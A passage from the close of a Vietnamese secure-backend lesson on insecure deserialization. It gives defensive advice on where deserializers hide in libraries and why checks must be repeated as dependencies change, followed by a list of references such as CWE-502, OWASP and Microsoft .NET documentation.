Sai lầm về phạm vi, và nó là sai lầm chính: đi tìm trong code mình viết. Deserializer thường nằm trong một thư viện: một cache provider, một session store, một message queue client, một thư viện đọc file Office. Cách tìm đúng là grep tên API, không grep chữ "deserialize".

Sai lầm về thời gian: coi đây là một việc kiểm một lần. Bề mặt gadget = classpath, và classpath đổi mỗi lần thêm dependency — nên một codebase "đã kiểm" có thể có lỗ hổng mới mà không sửa dòng code nào.

09

Nguồn tham khảo

Bậc 1CWE-502: Deserialization of Untrusted Data · MITRE · CWE · 4.14
Bậc 1BinaryFormatter security guide and removal in .NET 9 · Microsoft · .NET docs · .NET 9
Bậc 1How to serialize polymorphic types with System.Text.Json · Microsoft · .NET docs · .NET 8
Bậc 1pickle — Python object serialization (security warning) · Python Software Foundation · Python documentation · 3.12
Bậc 2Insecure deserialization · PortSwigger · Web Security Academy
Bậc 2Deserialization Cheat Sheet · OWASP · Cheat Sheet Series
Bậc 3CVE-2020-0688 — Microsoft Exchange static validation key · NIST National Vulnerability Database
Nằm trong lộ trình
Secure Backend DeveloperXem lộ trình

Bình luận

Tham gia thảo luận
Đăng ký để bình luận

Bình luận cần tài khoản đã hoàn thành ít nhất một bài học. Điều kiện đó là thứ giữ cho luồng thảo luận này còn đáng đọc: mỗi ý kiến gắn với một người có thể bị hỏi lại, và reputation tích luỹ theo thời gian.

Đăng kýĐăng nhập

Bạn vẫn đọc được toàn bộ bình luận dưới đây mà không cần tài khoản. Đăng nhập xong bạn sẽ quay lại đúng chỗ này, không phải đầu trang.

Đang tải bình luận…